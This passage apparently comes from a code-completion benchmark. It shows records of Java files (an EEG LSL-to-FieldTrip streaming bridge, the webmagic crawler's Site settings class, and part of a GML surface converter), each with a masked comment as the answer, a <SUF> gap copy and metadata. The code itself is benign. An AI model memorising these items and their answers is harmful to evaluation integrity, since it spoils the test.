sinlet = new LSL.StreamInlet(results[0]); LSL.StreamInfo sinfo = sinlet.info(); System.out.println("Connected to LSL type '" +sinfo.type()+ "' stream from device: " +sinfo.name()); // // start fieldtrip buffer server (LSL data will be forwarded to this buffer) // ftServer = new BufferServer(); // ftServer.Start(port,1024*60,10*60,path); // fieldtrip client forwards LSL data to fieltrip server ftClient = new BufferClient(); // wait a bit for client to be initialized java.lang.Thread.sleep(100); // connect to server System.out.println("Connect FieldTrip client to FieldTrip buffer server"); try { ftClient.connect(address,port); } catch (IOException e) { System.out.println("Cannot connect to FieldTrip buffer @ " + address + ":" + port + " \n"); cleanup(); } System.out.println("Client connected to FieldTrip buffer @ " + address + ":" + port + " \n"); // create fieldtrip header from lsl header info float samplerate = (float)sinfo.nominal_srate(); int numChans = sinfo.channel_count(); boolean doProcessTrigger = false; int triggerChannel = 0; // create fieldtrip header from lsl meta data (https://code.google.com/p/xdf/wiki/EEGMetaData) Header hdr = new Header(numChans, samplerate, DataType.FLOAT32); // add label info LSL.XMLElement ch = sinfo.desc().child("channels").child("channel"); for (int k=0;k<sinfo.channel_count();k++) { hdr.labels[k] = ch.child_value("label"); System.out.println(" " + ch.child_value("label")); ch = ch.next_sibling(); // check for trigger channel, only for Cognionics device (needs improvement for generalization) if (sinfo.type().equals("EEG") & sinfo.name().startsWith("Cog MPB") & hdr.labels[k].equals("TRIGGER")) { doProcessTrigger = true; triggerChannel = k; } // add ... dataType and labels // <unit> <!-- measurement unit (strongly preferred unit: microvolts) --> // <type> <!-- channel content-type (EEG, EMG, EOG, ...) --> // <label> <!-- channel label, according to labeling scheme; } // send header info to fieldtrip server System.out.println("Send LSL header to fieldtrip buffer"); ftClient.putHeader(hdr); System.out.println("Start streaming data"); // todo: constanten eruit!! long counter = 0; try { float[] isample = new float[numChans]; float[][] osample = new float[1][numChans]; float oldTrig = 0; while (true) { // receive data sinlet.pull_sample(isample);// sinlet.pull_sample(sample,0.0) specify timeout>=0 for non-blocking counter = counter + 1; for(int j=0;j<isample.length;j++) { osample[0][j] = isample[j]; } ftClient.putData(osample); if (counter % (int)samplerate == 1) { System.out.println("Sample " + counter);//print progress every second } // do we need to translate trigger channel to FieldTrip events if (doProcessTrigger==true) { if (isample[triggerChannel] != oldTrig) { if (counter > 1 & isample[triggerChannel]!=0) { // send FieldTrip event int trigger; String io_interface; if (isample[triggerChannel]<256) { trigger = (int)isample[triggerChannel]; io_interface = "parallel"; } else { // NB: Note that the numbers are scaled up by a factor of 256. // This is to make sure that the the serial port codes // to not conflict with the codes from the parallel port trigger = (int)isample[triggerChannel]/256; io_interface = "serial"; } BufferEvent e = new BufferEvent("stimulus",trigger,counter); ftClient.putEvent(e); System.out.println("******* Trigger marker (" + io_interface + ") " + trigger + " event sent to FieldTrip buffer ******"); } oldTrig = isample[triggerChannel]; } } } } finally { cleanup(); } } private static void cleanup() throws IOException { System.out.println("Cleanup lsl2ft....\n"); if (ftClient != null) { ftClient.disconnect(); } // if (ftServer != null) { // ftServer.stopBuffer(); // ftServer.cleanup(); // } System.exit(-1); } }
bopjesvla/BCI
java/lsl2ft/src/Lsl2ft.java
2,005
// send FieldTrip event
line_comment
nl
/** * * @author Philip van den Broek, TSG, Radboud University, Nijmegen * * */ import com.sun.jna.NativeLibrary; import edu.ucsd.sccn.LSL; import java.io.*; import java.security.CodeSource; //import nl.fcdonders.fieldtrip.bufferserver.BufferServer; import nl.fcdonders.fieldtrip.bufferclient.*; public class Lsl2ft { //private static BufferServer ftServer = null; private static BufferClient ftClient = null; //boolean putHeader(final int nChans, final float fSample,final int dataType) public static void main(String[] args) throws Exception{ // arguments: LSL type stream, FieldTrip ip-address, FieldTrip port String address = "localhost"; String LSLstream; int port; String path; if (args.length < 1) LSLstream = "EEG"; else LSLstream = args[0]; if (args.length < 2) port = 1972; else port = Integer.parseInt(args[1]); if (args.length < 3) path = ""; else path = args[2]; System.out.println("Connecting to LabStreamingLayer supported device:\n"); System.out.println("Type LSL stream : " + LSLstream); System.out.println("Forwarding to FieldTrip buffer on port : " + port); if (path.isEmpty()) System.out.println("Not saving data!"); else System.out.println("Saving to : " + path); CodeSource codeSource = Lsl2ft.class.getProtectionDomain().getCodeSource(); File jarFile = new File(codeSource.getLocation().toURI().getPath()); String jarDir = jarFile.getParentFile().getPath(); NativeLibrary.addSearchPath("liblsl64.dylib", jarDir); NativeLibrary.addSearchPath("liblsl64.dll", jarDir); LSL.StreamInfo[] results = LSL.resolve_stream("type",LSLstream); LSL.StreamInlet sinlet = new LSL.StreamInlet(results[0]); LSL.StreamInfo sinfo = sinlet.info(); System.out.println("Connected to LSL type '" +sinfo.type()+ "' stream from device: " +sinfo.name()); // // start fieldtrip buffer server (LSL data will be forwarded to this buffer) // ftServer = new BufferServer(); // ftServer.Start(port,1024*60,10*60,path); // fieldtrip client forwards LSL data to fieltrip server ftClient = new BufferClient(); // wait a bit for client to be initialized java.lang.Thread.sleep(100); // connect to server System.out.println("Connect FieldTrip client to FieldTrip buffer server"); try { ftClient.connect(address,port); } catch (IOException e) { System.out.println("Cannot connect to FieldTrip buffer @ " + address + ":" + port + " \n"); cleanup(); } System.out.println("Client connected to FieldTrip buffer @ " + address + ":" + port + " \n"); // create fieldtrip header from lsl header info float samplerate = (float)sinfo.nominal_srate(); int numChans = sinfo.channel_count(); boolean doProcessTrigger = false; int triggerChannel = 0; // create fieldtrip header from lsl meta data (https://code.google.com/p/xdf/wiki/EEGMetaData) Header hdr = new Header(numChans, samplerate, DataType.FLOAT32); // add label info LSL.XMLElement ch = sinfo.desc().child("channels").child("channel"); for (int k=0;k<sinfo.channel_count();k++) { hdr.labels[k] = ch.child_value("label"); System.out.println(" " + ch.child_value("label")); ch = ch.next_sibling(); // check for trigger channel, only for Cognionics device (needs improvement for generalization) if (sinfo.type().equals("EEG") & sinfo.name().startsWith("Cog MPB") & hdr.labels[k].equals("TRIGGER")) { doProcessTrigger = true; triggerChannel = k; } // add ... dataType and labels // <unit> <!-- measurement unit (strongly preferred unit: microvolts) --> // <type> <!-- channel content-type (EEG, EMG, EOG, ...) --> // <label> <!-- channel label, according to labeling scheme; } // send header info to fieldtrip server System.out.println("Send LSL header to fieldtrip buffer"); ftClient.putHeader(hdr); System.out.println("Start streaming data"); // todo: constanten eruit!! long counter = 0; try { float[] isample = new float[numChans]; float[][] osample = new float[1][numChans]; float oldTrig = 0; while (true) { // receive data sinlet.pull_sample(isample);// sinlet.pull_sample(sample,0.0) specify timeout>=0 for non-blocking counter = counter + 1; for(int j=0;j<isample.length;j++) { osample[0][j] = isample[j]; } ftClient.putData(osample); if (counter % (int)samplerate == 1) { System.out.println("Sample " + counter);//print progress every second } // do we need to translate trigger channel to FieldTrip events if (doProcessTrigger==true) { if (isample[triggerChannel] != oldTrig) { if (counter > 1 & isample[triggerChannel]!=0) { // send FieldTrip<SUF> int trigger; String io_interface; if (isample[triggerChannel]<256) { trigger = (int)isample[triggerChannel]; io_interface = "parallel"; } else { // NB: Note that the numbers are scaled up by a factor of 256. // This is to make sure that the the serial port codes // to not conflict with the codes from the parallel port trigger = (int)isample[triggerChannel]/256; io_interface = "serial"; } BufferEvent e = new BufferEvent("stimulus",trigger,counter); ftClient.putEvent(e); System.out.println("******* Trigger marker (" + io_interface + ") " + trigger + " event sent to FieldTrip buffer ******"); } oldTrig = isample[triggerChannel]; } } } } finally { cleanup(); } } private static void cleanup() throws IOException { System.out.println("Cleanup lsl2ft....\n"); if (ftClient != null) { ftClient.disconnect(); } // if (ftServer != null) { // ftServer.stopBuffer(); // ftServer.cleanup(); // } System.exit(-1); } }
False
1,570
5
1,694
5
1,825
5
1,694
5
1,960
6
false
false
false
false
false
true
2,418
38915_8
package us.codecraft.webmagic; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashMap; import java.util.Map; import java.util.Set; import java.util.UUID; import us.codecraft.webmagic.utils.HttpConstant; /** * Object contains setting for crawler.<br> * * @author code4crafter@gmail.com <br> * @see us.codecraft.webmagic.processor.PageProcessor * @since 0.1.0 */ public class Site { private String domain; private String userAgent; private Map<String, String> defaultCookies = new LinkedHashMap<String, String>(); private Map<String, Map<String, String>> cookies = new HashMap<String, Map<String, String>>(); private String charset; private String defaultCharset; private int sleepTime = 5000; private int retryTimes = 0; private int cycleRetryTimes = 0; private int retrySleepTime = 1000; private int timeOut = 5000; private static final Set<Integer> DEFAULT_STATUS_CODE_SET = new HashSet<Integer>(); private Set<Integer> acceptStatCode = DEFAULT_STATUS_CODE_SET; private Map<String, String> headers = new HashMap<String, String>(); private boolean useGzip = true; private boolean disableCookieManagement = false; static { DEFAULT_STATUS_CODE_SET.add(HttpConstant.StatusCode.CODE_200); } /** * new a Site * * @return new site */ public static Site me() { return new Site(); } /** * Add a cookie with domain {@link #getDomain()} * * @param name name * @param value value * @return this */ public Site addCookie(String name, String value) { defaultCookies.put(name, value); return this; } /** * Add a cookie with specific domain. * * @param domain domain * @param name name * @param value value * @return this */ public Site addCookie(String domain, String name, String value) { if (!cookies.containsKey(domain)){ cookies.put(domain,new HashMap<String, String>()); } cookies.get(domain).put(name, value); return this; } /** * set user agent * * @param userAgent userAgent * @return this */ public Site setUserAgent(String userAgent) { this.userAgent = userAgent; return this; } /** * get cookies * * @return get cookies */ public Map<String, String> getCookies() { return defaultCookies; } /** * get cookies of all domains * * @return get cookies */ public Map<String,Map<String, String>> getAllCookies() { return cookies; } /** * get user agent * * @return user agent */ public String getUserAgent() { return userAgent; } /** * get domain * * @return get domain */ public String getDomain() { return domain; } /** * set the domain of site. * * @param domain domain * @return this */ public Site setDomain(String domain) { this.domain = domain; return this; } /** * Set charset of page manually.<br> * When charset is not set or set to null, it can be auto detected by Http header. * * @param charset charset * @return this */ public Site setCharset(String charset) { this.charset = charset; return this; } /** * get charset set manually * * @return charset */ public String getCharset() { return charset; } /** * Set default charset of page. * * When charset detect failed, use this default charset. * * @param defaultCharset the default charset * @return this * @since 0.9.0 */ public Site setDefaultCharset(String defaultCharset) { this.defaultCharset = defaultCharset; return this; } /** * The default charset if charset detected failed. * * @return the defulat charset * @since 0.9.0 */ public String getDefaultCharset() { return defaultCharset; } public int getTimeOut() { return timeOut; } /** * set timeout for downloader in ms * * @param timeOut timeOut * @return this */ public Site setTimeOut(int timeOut) { this.timeOut = timeOut; return this; } /** * Set acceptStatCode.<br> * When status code of http response is in acceptStatCodes, it will be processed.<br> * {200} by default.<br> * It is not necessarily to be set.<br> * * @param acceptStatCode acceptStatCode * @return this */ public Site setAcceptStatCode(Set<Integer> acceptStatCode) { this.acceptStatCode = acceptStatCode; return this; } /** * get acceptStatCode * * @return acceptStatCode */ public Set<Integer> getAcceptStatCode() { return acceptStatCode; } /** * Set the interval between the processing of two pages.<br> * Time unit is milliseconds.<br> * * @param sleepTime sleepTime * @return this */ public Site setSleepTime(int sleepTime) { this.sleepTime = sleepTime; return this; } /** * Get the interval between the processing of two pages.<br> * Time unit is milliseconds.<br> * * @return the interval between the processing of two pages, */ public int getSleepTime() { return sleepTime; } /** * Get retry times immediately when download fail, 0 by default.<br> * * @return retry times when download fail */ public int getRetryTimes() { return retryTimes; } public Map<String, String> getHeaders() { return headers; } /** * Put an Http header for downloader. <br> * Use {@link #addCookie(String, String)} for cookie and {@link #setUserAgent(String)} for user-agent. <br> * * @param key key of http header, there are some keys constant in {@link HttpConstant.Header} * @param value value of header * @return this */ public Site addHeader(String key, String value) { headers.put(key, value); return this; } /** * Set retry times when download fail, 0 by default.<br> * * @param retryTimes retryTimes * @return this */ public Site setRetryTimes(int retryTimes) { this.retryTimes = retryTimes; return this; } /** * When cycleRetryTimes is more than 0, it will add back to scheduler and try download again. <br> * * @return retry times when download fail */ public int getCycleRetryTimes() { return cycleRetryTimes; } /** * Set cycleRetryTimes times when download fail, 0 by default. <br> * * @param cycleRetryTimes cycleRetryTimes * @return this */ public Site setCycleRetryTimes(int cycleRetryTimes) { this.cycleRetryTimes = cycleRetryTimes; return this; } public boolean isUseGzip() { return useGzip; } public int getRetrySleepTime() { return retrySleepTime; } /** * Set retry sleep times when download fail, 1000 by default. <br> * * @param retrySleepTime retrySleepTime * @return this */ public Site setRetrySleepTime(int retrySleepTime) { this.retrySleepTime = retrySleepTime; return this; } /** * Whether use gzip. <br> * Default is true, you can set it to false to disable gzip. * * @param useGzip useGzip * @return this */ public Site setUseGzip(boolean useGzip) { this.useGzip = useGzip; return this; } public boolean isDisableCookieManagement() { return disableCookieManagement; } /** * Downloader is supposed to store response cookie. * Disable it to ignore all cookie fields and stay clean. * Warning: Set cookie will still NOT work if disableCookieManagement is true. * @param disableCookieManagement disableCookieManagement * @return this */ public Site setDisableCookieManagement(boolean disableCookieManagement) { this.disableCookieManagement = disableCookieManagement; return this; } public Task toTask() { return new Task() { @Override public String getUUID() { String uuid = Site.this.getDomain(); if (uuid == null) { uuid = UUID.randomUUID().toString(); } return uuid; } @Override public Site getSite() { return Site.this; } }; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Site site = (Site) o; if (cycleRetryTimes != site.cycleRetryTimes) return false; if (retryTimes != site.retryTimes) return false; if (sleepTime != site.sleepTime) return false; if (timeOut != site.timeOut) return false; if (acceptStatCode != null ? !acceptStatCode.equals(site.acceptStatCode) : site.acceptStatCode != null) return false; if (charset != null ? !charset.equals(site.charset) : site.charset != null) return false; if (defaultCookies != null ? !defaultCookies.equals(site.defaultCookies) : site.defaultCookies != null) return false; if (domain != null ? !domain.equals(site.domain) : site.domain != null) return false; if (headers != null ? !headers.equals(site.headers) : site.headers != null) return false; if (userAgent != null ? !userAgent.equals(site.userAgent) : site.userAgent != null) return false; return true; } @Override public int hashCode() { int result = domain != null ? domain.hashCode() : 0; result = 31 * result + (userAgent != null ? userAgent.hashCode() : 0); result = 31 * result + (defaultCookies != null ? defaultCookies.hashCode() : 0); result = 31 * result + (charset != null ? charset.hashCode() : 0); result = 31 * result + sleepTime; result = 31 * result + retryTimes; result = 31 * result + cycleRetryTimes; result = 31 * result + timeOut; result = 31 * result + (acceptStatCode != null ? acceptStatCode.hashCode() : 0); result = 31 * result + (headers != null ? headers.hashCode() : 0); return result; } @Override public String toString() { return "Site{" + "domain='" + domain + '\'' + ", userAgent='" + userAgent + '\'' + ", cookies=" + defaultCookies + ", charset='" + charset + '\'' + ", sleepTime=" + sleepTime + ", retryTimes=" + retryTimes + ", cycleRetryTimes=" + cycleRetryTimes + ", timeOut=" + timeOut + ", acceptStatCode=" + acceptStatCode + ", headers=" + headers + '}'; } }
code4craft/webmagic
webmagic-core/src/main/java/us/codecraft/webmagic/Site.java
3,241
/** * get domain * * @return get domain */
block_comment
nl
package us.codecraft.webmagic; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashMap; import java.util.Map; import java.util.Set; import java.util.UUID; import us.codecraft.webmagic.utils.HttpConstant; /** * Object contains setting for crawler.<br> * * @author code4crafter@gmail.com <br> * @see us.codecraft.webmagic.processor.PageProcessor * @since 0.1.0 */ public class Site { private String domain; private String userAgent; private Map<String, String> defaultCookies = new LinkedHashMap<String, String>(); private Map<String, Map<String, String>> cookies = new HashMap<String, Map<String, String>>(); private String charset; private String defaultCharset; private int sleepTime = 5000; private int retryTimes = 0; private int cycleRetryTimes = 0; private int retrySleepTime = 1000; private int timeOut = 5000; private static final Set<Integer> DEFAULT_STATUS_CODE_SET = new HashSet<Integer>(); private Set<Integer> acceptStatCode = DEFAULT_STATUS_CODE_SET; private Map<String, String> headers = new HashMap<String, String>(); private boolean useGzip = true; private boolean disableCookieManagement = false; static { DEFAULT_STATUS_CODE_SET.add(HttpConstant.StatusCode.CODE_200); } /** * new a Site * * @return new site */ public static Site me() { return new Site(); } /** * Add a cookie with domain {@link #getDomain()} * * @param name name * @param value value * @return this */ public Site addCookie(String name, String value) { defaultCookies.put(name, value); return this; } /** * Add a cookie with specific domain. * * @param domain domain * @param name name * @param value value * @return this */ public Site addCookie(String domain, String name, String value) { if (!cookies.containsKey(domain)){ cookies.put(domain,new HashMap<String, String>()); } cookies.get(domain).put(name, value); return this; } /** * set user agent * * @param userAgent userAgent * @return this */ public Site setUserAgent(String userAgent) { this.userAgent = userAgent; return this; } /** * get cookies * * @return get cookies */ public Map<String, String> getCookies() { return defaultCookies; } /** * get cookies of all domains * * @return get cookies */ public Map<String,Map<String, String>> getAllCookies() { return cookies; } /** * get user agent * * @return user agent */ public String getUserAgent() { return userAgent; } /** * get domain <SUF>*/ public String getDomain() { return domain; } /** * set the domain of site. * * @param domain domain * @return this */ public Site setDomain(String domain) { this.domain = domain; return this; } /** * Set charset of page manually.<br> * When charset is not set or set to null, it can be auto detected by Http header. * * @param charset charset * @return this */ public Site setCharset(String charset) { this.charset = charset; return this; } /** * get charset set manually * * @return charset */ public String getCharset() { return charset; } /** * Set default charset of page. * * When charset detect failed, use this default charset. * * @param defaultCharset the default charset * @return this * @since 0.9.0 */ public Site setDefaultCharset(String defaultCharset) { this.defaultCharset = defaultCharset; return this; } /** * The default charset if charset detected failed. * * @return the defulat charset * @since 0.9.0 */ public String getDefaultCharset() { return defaultCharset; } public int getTimeOut() { return timeOut; } /** * set timeout for downloader in ms * * @param timeOut timeOut * @return this */ public Site setTimeOut(int timeOut) { this.timeOut = timeOut; return this; } /** * Set acceptStatCode.<br> * When status code of http response is in acceptStatCodes, it will be processed.<br> * {200} by default.<br> * It is not necessarily to be set.<br> * * @param acceptStatCode acceptStatCode * @return this */ public Site setAcceptStatCode(Set<Integer> acceptStatCode) { this.acceptStatCode = acceptStatCode; return this; } /** * get acceptStatCode * * @return acceptStatCode */ public Set<Integer> getAcceptStatCode() { return acceptStatCode; } /** * Set the interval between the processing of two pages.<br> * Time unit is milliseconds.<br> * * @param sleepTime sleepTime * @return this */ public Site setSleepTime(int sleepTime) { this.sleepTime = sleepTime; return this; } /** * Get the interval between the processing of two pages.<br> * Time unit is milliseconds.<br> * * @return the interval between the processing of two pages, */ public int getSleepTime() { return sleepTime; } /** * Get retry times immediately when download fail, 0 by default.<br> * * @return retry times when download fail */ public int getRetryTimes() { return retryTimes; } public Map<String, String> getHeaders() { return headers; } /** * Put an Http header for downloader. <br> * Use {@link #addCookie(String, String)} for cookie and {@link #setUserAgent(String)} for user-agent. <br> * * @param key key of http header, there are some keys constant in {@link HttpConstant.Header} * @param value value of header * @return this */ public Site addHeader(String key, String value) { headers.put(key, value); return this; } /** * Set retry times when download fail, 0 by default.<br> * * @param retryTimes retryTimes * @return this */ public Site setRetryTimes(int retryTimes) { this.retryTimes = retryTimes; return this; } /** * When cycleRetryTimes is more than 0, it will add back to scheduler and try download again. <br> * * @return retry times when download fail */ public int getCycleRetryTimes() { return cycleRetryTimes; } /** * Set cycleRetryTimes times when download fail, 0 by default. <br> * * @param cycleRetryTimes cycleRetryTimes * @return this */ public Site setCycleRetryTimes(int cycleRetryTimes) { this.cycleRetryTimes = cycleRetryTimes; return this; } public boolean isUseGzip() { return useGzip; } public int getRetrySleepTime() { return retrySleepTime; } /** * Set retry sleep times when download fail, 1000 by default. <br> * * @param retrySleepTime retrySleepTime * @return this */ public Site setRetrySleepTime(int retrySleepTime) { this.retrySleepTime = retrySleepTime; return this; } /** * Whether use gzip. <br> * Default is true, you can set it to false to disable gzip. * * @param useGzip useGzip * @return this */ public Site setUseGzip(boolean useGzip) { this.useGzip = useGzip; return this; } public boolean isDisableCookieManagement() { return disableCookieManagement; } /** * Downloader is supposed to store response cookie. * Disable it to ignore all cookie fields and stay clean. * Warning: Set cookie will still NOT work if disableCookieManagement is true. * @param disableCookieManagement disableCookieManagement * @return this */ public Site setDisableCookieManagement(boolean disableCookieManagement) { this.disableCookieManagement = disableCookieManagement; return this; } public Task toTask() { return new Task() { @Override public String getUUID() { String uuid = Site.this.getDomain(); if (uuid == null) { uuid = UUID.randomUUID().toString(); } return uuid; } @Override public Site getSite() { return Site.this; } }; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Site site = (Site) o; if (cycleRetryTimes != site.cycleRetryTimes) return false; if (retryTimes != site.retryTimes) return false; if (sleepTime != site.sleepTime) return false; if (timeOut != site.timeOut) return false; if (acceptStatCode != null ? !acceptStatCode.equals(site.acceptStatCode) : site.acceptStatCode != null) return false; if (charset != null ? !charset.equals(site.charset) : site.charset != null) return false; if (defaultCookies != null ? !defaultCookies.equals(site.defaultCookies) : site.defaultCookies != null) return false; if (domain != null ? !domain.equals(site.domain) : site.domain != null) return false; if (headers != null ? !headers.equals(site.headers) : site.headers != null) return false; if (userAgent != null ? !userAgent.equals(site.userAgent) : site.userAgent != null) return false; return true; } @Override public int hashCode() { int result = domain != null ? domain.hashCode() : 0; result = 31 * result + (userAgent != null ? userAgent.hashCode() : 0); result = 31 * result + (defaultCookies != null ? defaultCookies.hashCode() : 0); result = 31 * result + (charset != null ? charset.hashCode() : 0); result = 31 * result + sleepTime; result = 31 * result + retryTimes; result = 31 * result + cycleRetryTimes; result = 31 * result + timeOut; result = 31 * result + (acceptStatCode != null ? acceptStatCode.hashCode() : 0); result = 31 * result + (headers != null ? headers.hashCode() : 0); return result; } @Override public String toString() { return "Site{" + "domain='" + domain + '\'' + ", userAgent='" + userAgent + '\'' + ", cookies=" + defaultCookies + ", charset='" + charset + '\'' + ", sleepTime=" + sleepTime + ", retryTimes=" + retryTimes + ", cycleRetryTimes=" + cycleRetryTimes + ", timeOut=" + timeOut + ", acceptStatCode=" + acceptStatCode + ", headers=" + headers + '}'; } }
False
2,594
17
2,698
15
3,043
19
2,698
15
3,260
19
false
false
false
false
false
true
1,271
122914_4
package nl.pdok.gml3.impl.gml3_1_1_2.convertors; import jakarta.xml.bind.JAXBElement; import java.util.ArrayList; import java.util.List; import net.opengis.gml.v_3_1_1.*; import nl.pdok.gml3.exceptions.GeometryException; import nl.pdok.gml3.exceptions.GeometryValidationErrorType; import nl.pdok.gml3.exceptions.InvalidGeometryException; import nl.pdok.gml3.exceptions.UnsupportedGeometrySpecificationException; import org.locationtech.jts.algorithm.Orientation; import org.locationtech.jts.geom.Geometry; import org.locationtech.jts.geom.GeometryFactory; import org.locationtech.jts.geom.LinearRing; import org.locationtech.jts.geom.MultiPolygon; import org.locationtech.jts.geom.Polygon; /** * <p> * GMLToSurfaceConvertor class. * </p> * * @author GinkeM * @version $Id: $Id */ public class GMLToSurfaceConvertor { private final GeometryFactory geometryFactory; private final GMLToLineConvertor gmlToLineConvertor; /** * <p> * Constructor for GMLToSurfaceConvertor. * </p> * * @param geometryFactory a {@link org.locationtech.jts.geom.GeometryFactory} object. * @param gmlToLineConvertor a {@link nl.pdok.gml3.impl.gml3_1_1_2.convertors.GMLToLineConvertor} * object. */ public GMLToSurfaceConvertor(GeometryFactory geometryFactory, GMLToLineConvertor gmlToLineConvertor) { this.geometryFactory = geometryFactory; this.gmlToLineConvertor = gmlToLineConvertor; } /** * <p> * convertMultiSurface. * </p> * * @param surfaces a {@link net.opengis.gml.v_3_1_1.MultiSurfaceType} object. * @return a {@link org.locationtech.jts.geom.Geometry} object. * @throws nl.pdok.gml3.exceptions.GeometryException if any. */ public Geometry convertMultiSurface(MultiSurfaceType surfaces) throws GeometryException { List<Polygon> polygons = new ArrayList<Polygon>(); for (SurfacePropertyType surface : surfaces.getSurfaceMember()) { JAXBElement<? extends AbstractSurfaceType> element = surface.getSurface(); Geometry result = convertElementContainingSurface(element); addResultingPolygonsToList(result, polygons); } SurfaceArrayPropertyType array = surfaces.getSurfaceMembers(); if (array != null) { List<JAXBElement<? extends AbstractSurfaceType>> arraySurfaceMembers = array.getSurface(); if (arraySurfaceMembers != null) { for (JAXBElement<? extends AbstractSurfaceType> surfaceMember : arraySurfaceMembers) { Geometry result = convertElementContainingSurface(surfaceMember); addResultingPolygonsToList(result, polygons); } } } return convertPolygonListToMuliPolygonOrSinglePolygon(polygons); } private Geometry convertPolygonListToMuliPolygonOrSinglePolygon(List<Polygon> polygons) throws GeometryException { if (polygons.isEmpty()) { throw new InvalidGeometryException( GeometryValidationErrorType.MULTI_SURFACE_DID_NOT_CONTAIN_MEMBERS, null); } else if (polygons.size() == 1) { return polygons.get(0); } else { MultiPolygon multi = new MultiPolygon(polygons.toArray(new Polygon[] {}), geometryFactory); return multi; } } private Geometry convertElementContainingSurface( JAXBElement<? extends AbstractSurfaceType> surface) throws GeometryException { if (surface != null) { AbstractSurfaceType abstractSurfaceType = surface.getValue(); if (abstractSurfaceType != null) { return convertSurface(abstractSurfaceType); } } return null; } private void addResultingPolygonsToList(Geometry geometry, List<Polygon> polygons) { if (geometry != null) { if (geometry instanceof MultiPolygon collection) { for (int i = 0; i < collection.getNumGeometries(); i++) { polygons.add((Polygon) collection.getGeometryN(i)); } } else { polygons.add((Polygon) geometry); } } } /** * <p> * convertSurface. * </p> * * @param abstractSurface a {@link net.opengis.gml.v_3_1_1.AbstractSurfaceType} object. * @return a {@link org.locationtech.jts.geom.Geometry} object. * @throws nl.pdok.gml3.exceptions.GeometryException if any. */ public Geometry convertSurface(AbstractSurfaceType abstractSurface) throws GeometryException { if (abstractSurface instanceof SurfaceType surface) { List<Polygon> polygons = new ArrayList<>(); SurfacePatchArrayPropertyType patches = surface.getPatches().getValue(); // opmerking multipliciteit 2 of meer is afgevangen door xsd for (int i = 0; i < patches.getSurfacePatch().size(); i++) { AbstractSurfacePatchType abstractPatch = patches.getSurfacePatch().get(i).getValue(); if (abstractPatch instanceof PolygonPatchType polygonPatch) { Polygon polygon = convertPolygonPatch(polygonPatch); polygons.add(polygon); } else { throw new UnsupportedGeometrySpecificationException( "Only polygon patch type is supported"); } } return convertPolygonListToMuliPolygonOrSinglePolygon(polygons); } else if (abstractSurface instanceof PolygonType polygonType) { if (polygonType.getExterior() == null) { throw new InvalidGeometryException(GeometryValidationErrorType.POLYGON_HAS_NO_EXTERIOR, null); } AbstractRingPropertyType abstractRing = polygonType.getExterior().getValue(); LinearRing shell = gmlToLineConvertor.translateAbstractRing(abstractRing); LinearRing[] innerRings = new LinearRing[polygonType.getInterior().size()]; for (int i = 0; i < polygonType.getInterior().size(); i++) { innerRings[i] = gmlToLineConvertor.translateAbstractRing(polygonType.getInterior().get(i).getValue()); } return geometryFactory.createPolygon(shell, innerRings); } else { throw new UnsupportedGeometrySpecificationException( "Only Surface and Polygon are " + "supported as instances of _Surface"); } } /** * <p> * convertPolygonPatch. * </p> * * @param polygonPatch a {@link net.opengis.gml.v_3_1_1.PolygonPatchType} object. * @return a {@link org.locationtech.jts.geom.Polygon} object. * @throws nl.pdok.gml3.exceptions.GeometryException if any. */ public Polygon convertPolygonPatch(PolygonPatchType polygonPatch) throws GeometryException { if (polygonPatch.getExterior() == null) { throw new InvalidGeometryException(GeometryValidationErrorType.POLYGON_HAS_NO_EXTERIOR, null); } AbstractRingPropertyType abstractRing = polygonPatch.getExterior().getValue(); LinearRing exteriorShell = gmlToLineConvertor.translateAbstractRing(abstractRing); if (!Orientation.isCCW(exteriorShell.getCoordinates())) { throw new InvalidGeometryException(GeometryValidationErrorType.OUTER_RING_IS_NOT_CCW, null); } LinearRing[] innerRings = new LinearRing[polygonPatch.getInterior().size()]; for (int i = 0; i < polygonPatch.getInterior().size(); i++) { innerRings[i] = gmlToLineConvertor.translateAbstractRing(polygonPatch.getInterior().get(i).getValue()); if (Orientation.isCCW(innerRings[i].getCoordinates())) { throw new InvalidGeometryException(GeometryValidationErrorType.INNER_RING_IS_CCW, null); } } return geometryFactory.createPolygon(exteriorShell, innerRings); } }
PDOK/gml3-jts
src/main/java/nl/pdok/gml3/impl/gml3_1_1_2/convertors/GMLToSurfaceConvertor.java
2,418
// opmerking multipliciteit 2 of meer is afgevangen door xsd
line_comment
nl
package nl.pdok.gml3.impl.gml3_1_1_2.convertors; import jakarta.xml.bind.JAXBElement; import java.util.ArrayList; import java.util.List; import net.opengis.gml.v_3_1_1.*; import nl.pdok.gml3.exceptions.GeometryException; import nl.pdok.gml3.exceptions.GeometryValidationErrorType; import nl.pdok.gml3.exceptions.InvalidGeometryException; import nl.pdok.gml3.exceptions.UnsupportedGeometrySpecificationException; import org.locationtech.jts.algorithm.Orientation; import org.locationtech.jts.geom.Geometry; import org.locationtech.jts.geom.GeometryFactory; import org.locationtech.jts.geom.LinearRing; import org.locationtech.jts.geom.MultiPolygon; import org.locationtech.jts.geom.Polygon; /** * <p> * GMLToSurfaceConvertor class. * </p> * * @author GinkeM * @version $Id: $Id */ public class GMLToSurfaceConvertor { private final GeometryFactory geometryFactory; private final GMLToLineConvertor gmlToLineConvertor; /** * <p> * Constructor for GMLToSurfaceConvertor. * </p> * * @param geometryFactory a {@link org.locationtech.jts.geom.GeometryFactory} object. * @param gmlToLineConvertor a {@link nl.pdok.gml3.impl.gml3_1_1_2.convertors.GMLToLineConvertor} * object. */ public GMLToSurfaceConvertor(GeometryFactory geometryFactory, GMLToLineConvertor gmlToLineConvertor) { this.geometryFactory = geometryFactory; this.gmlToLineConvertor = gmlToLineConvertor; } /** * <p> * convertMultiSurface. * </p> * * @param surfaces a {@link net.opengis.gml.v_3_1_1.MultiSurfaceType} object. * @return a {@link org.locationtech.jts.geom.Geometry} object. * @throws nl.pdok.gml3.exceptions.GeometryException if any. */ public Geometry convertMultiSurface(MultiSurfaceType surfaces) throws GeometryException { List<Polygon> polygons = new ArrayList<Polygon>(); for (SurfacePropertyType surface : surfaces.getSurfaceMember()) { JAXBElement<? extends AbstractSurfaceType> element = surface.getSurface(); Geometry result = convertElementContainingSurface(element); addResultingPolygonsToList(result, polygons); } SurfaceArrayPropertyType array = surfaces.getSurfaceMembers(); if (array != null) { List<JAXBElement<? extends AbstractSurfaceType>> arraySurfaceMembers = array.getSurface(); if (arraySurfaceMembers != null) { for 